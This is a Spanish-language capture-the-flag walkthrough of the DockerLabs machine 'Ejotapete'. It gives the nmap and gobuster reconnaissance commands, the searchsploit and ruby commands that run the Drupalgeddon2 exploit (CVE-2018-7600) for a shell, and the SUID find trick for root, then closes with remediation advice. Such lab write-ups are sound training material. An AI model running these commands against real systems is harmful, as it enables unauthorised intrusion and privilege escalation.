Skip to content

Ejotapete

This content is not available in your language yet.

En este artículo se documenta la resolución completa de la máquina virtual Ejotapete, creada por El Pingüino de Mario y catalogada como muy fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, clara y didáctica, explicando qué se hizo, por qué se tomó cada decisión y cómo detectar vulnerabilidades similares en entornos reales.

El proceso se divide en tres fases principales:

  1. Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
  2. Explotación – Obtención de acceso inicial mediante vulnerabilidad en un CMS.
  3. Escalada de privilegios – Aprovechamiento de binarios con permisos SUID para obtener privilegios de root.

⚠️ Aviso: Todos los pasos fueron realizados en un entorno controlado de DockerLabs. No ejecutes pruebas intrusivas fuera de entornos expresamente autorizados.


AtributoDetalle
NombreEjotapete
AutorEl Pingüino de Mario
DificultadFácil
Fecha de creación14/07/2025
PlataformaDockerLabs

  1. Descomprimimos el paquete descargado desde DockerLabs:

    Ventana de terminal
    unzip Ejotapete.zip
  2. Desplegamos el contenedor con el script incluido:

    Ventana de terminal
    sudo bash auto_deploy.sh Ejotapete.tar

El script levantará un contenedor Docker con los servicios necesarios y mostrará la IP asignada al finalizar. Anótala, ya que se usará durante todo el proceso de explotación.


Para mantener un entorno de trabajo limpio y ordenado, creamos una estructura de directorios:

Ventana de terminal
mkdir -p Ejotapete/{content,exploits,nmap,scripts}
cd Ejotapete

Consejo: Mantener una estructura ordenada permite registrar mejor los hallazgos y simplifica la elaboración de reportes posteriores.

IP asignada


Ejecutamos un escaneo completo con Nmap para descubrir los servicios activos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos detectados mediante un script auxiliar (extractPorts) o con grep:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Servicios identificados:

  • Puerto 80 – HTTP

No se detectaron otros puertos abiertos, lo cual sugiere que el vector de entrada estará en el servicio web.


Procedemos a identificar directorios y archivos accesibles con Gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200 -o gobuster.txt

Gobuster

Rutas encontradas:

  • /drupal

drupal

El hallazgo de esta ruta nos indica la presencia de un CMS Drupal, por lo que el siguiente paso será identificar su versión y buscar posibles vulnerabilidades conocidas.


Al acceder a la ruta /drupal, confirmamos que se trata de Drupal 8.5.0 (visible en el código fuente y archivos del CMS). Sabemos que esta versión es vulnerable a ejecución remota de comandos (RCE), por lo que verificamos el exploit correspondiente con Searchsploit:

Ventana de terminal
searchsploit drupal 8.5.0

searchsploit

El resultado nos muestra el exploit Drupalgeddon2 (CVE-2018-7600) que permite ejecución remota de código no autenticado. Lo descargamos con el siguiente comando:

Ventana de terminal
searchsploit -m 44449

Antes de ejecutarlo, instalamos las dependencias requeridas (en este caso, la librería highline para Ruby):

Ventana de terminal
gem install highline

Finalmente, ejecutamos el exploit:

Ventana de terminal
ruby 44449.rb http://172.17.0.2/drupal

El script explota la vulnerabilidad y nos concede una reverse shell como el usuario www-data, lo que confirma la ejecución remota exitosa.


Con acceso como www-data, iniciamos la enumeración del sistema en busca de binarios con permisos especiales (SUID):

Ventana de terminal
find / -perm -4000 2>/dev/null

El resultado revela que el binario find tiene el bit SUID activado:

find

Este tipo de configuración permite ejecutar comandos con privilegios elevados. Podemos aprovecharnos de esto para escalar directamente a root:

Ventana de terminal
find . -exec /bin/sh \; -quit

Esto ejecuta una shell con privilegios de root, otorgándonos control total del sistema.

root


  1. Reconocimiento – Descubrimiento del servicio web con Drupal 8.5.0.
  2. Explotación – Uso del exploit público Drupalgeddon2 (CVE-2018-7600) para obtener acceso remoto.
  3. Escalada de privilegios – Abuso del bit SUID en el binario find para ejecutar comandos como root.

  • Uso de una versión obsoleta y vulnerable de Drupal.
  • Ausencia de actualizaciones de seguridad y parches.
  • Permisos inseguros en binarios del sistema (find con SUID activo).
  • Falta de segmentación de usuarios y medidas de control de privilegios.

  • Actualizar Drupal a una versión reciente no afectada por CVE-2018-7600.
  • Implementar un plan de gestión de parches para todos los servicios web.
  • Eliminar permisos SUID innecesarios y revisar los binarios del sistema regularmente.
  • Limitar los privilegios del usuario del servidor web (www-data).
  • Aplicar controles de acceso y segmentación adecuados para mitigar escaladas de privilegios.